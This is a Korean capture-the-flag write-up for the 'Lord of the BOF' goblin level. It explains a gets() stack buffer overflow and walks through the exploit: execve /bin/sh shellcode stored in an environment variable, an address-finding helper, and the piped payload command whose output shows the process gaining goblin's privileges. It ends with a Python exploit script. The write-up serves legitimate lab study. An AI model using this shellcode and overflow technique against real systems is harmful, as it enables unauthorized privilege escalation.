cobolt / hacking exposed
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
0x01. Static Analysis
16byte크기의 buffer배열을 선언하고 gets함수를 이용하여 buffer에 값을 입력받아 저장한다.
cobolt 문제와 다른점은 cobolt에서는 main함수의 argv로 사용자에게 입력값을 받았다면, 이 문제는 gets를 이용하여 사용자에게 입력값을 받는다.
따라서 값을 넘겨주는 방식의 차이만 있을 뿐 앞 문제와 풀이 과정은 동일하다.
gets를 이용하여 사용자가 입력한 값을 buffer배열로 복사할때 복사되는 크기가 정해져있지 않아 BoF(Buffer OverFlow) 취약점이 존재한다.
- buffer 배열 크기 16byte
- gets를 이용하여 사용자 입력값 입력
0x02. Dynamic Analysis
buffer배열의 크기가 16Byte로 Shellcode보다 크기가 작으므로 환경변수를 이용하여 풀이한다.
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
[cobolt@localhost cobolt]$ export shellcode=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
[cobolt@localhost cobolt]$ export
...생략...
declare -x USER="cobolt"
declare -x USERNAME=""
declare -x shellcode="��������������������������������������������������1�Ph//shh/bin��PS�ᙰ
shellcode
환경변수에 Shellcode를 넣는다.
//env.c
main(){
printf("0x%08x\n", getenv("shellcode") );
}
[cobolt@localhost cobolt]$ gcc -o env env.c
[cobolt@localhost cobolt]$ ./env
0xbfffff3b
shellcode
환경변수의 주소를 구하는 프로그램을 만들어 주소를 구해온다. (0xbfffff3b)
[!] gdb에서 run 명령 시 user input 주는 방법 1
1) 입력하고나 하는 문자열을 파일로 생성
$ python -c ‘print “A”*10>tmp
2) gdb에서 run 명령어 실행 시 파일 내용 입력
(gdb) r<tmp
[!] gdb에서 run 명령 시 user input 주는 방법 2
1) 스크립트 실행 결과를 임시파일 생성 후 바로 임시파일의 내용 입력
(gdb) r `python -c ‘print “A”*10’>tmp`<tmp
0x03. Exploit
여기서 한번 생각해야 할 점은, Cobolt문제는 프로그램의 인자값으로 값을 넘겨주기 때문에 프로그램을 실행할때 프로그램 이름 뒤에 인자로 Payload를 넘겨주면됐다.
하지만 이번 문제는 프로그램 내부에서 입력값을 받기 때문에 같은 방법으로는 Payload를 넘겨줄 수 없다.
따라서 Pipe(‘|‘)를 사용해야 한다. (Pipe명령어는 왼쪽 표준출력을 오른쪽에 표준입력으로 넘겨주는 역할을 한다.)
표준입력으로 넘겨주어야 하기 때문에 cat
와 ;
명령어를 함께 사용해야 한다. (FTZ 12번 문제를 풀었다면 쉽게 이해할 수 있을 것이다.)
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\x3b\xff\xff\xbf"';cat)|./goblin
AAAAAAAAAAAAAAAAAAAA;���
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof
Cobolt문제와 풀이방법이 동일하므로 상세설명은 생략했다.
0x04. 정리
Cobolt 문제에서 BoF 취약점이 존재했던 strcpy함수 외에도 gets함수도 입력값 크기 검증이 없기때문에 동일하게 BoF 취약점이 존재하는 것을 확인할 수 있는 문제였다.
그리고 프로그램 내부에서 사용자 입력값을 받을 때 어떻게 입력값을 넘겨주어야 하는지도 알게되는 문제였다.
#ex.py
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
target = "/home/cobolt/goblin"
shellcode_env_addr = 0xbffffc33
payload = "\x90"*20
payload = append(p32(shellcode_env_addr))
print payload
(python ex.py;cat)|./goblin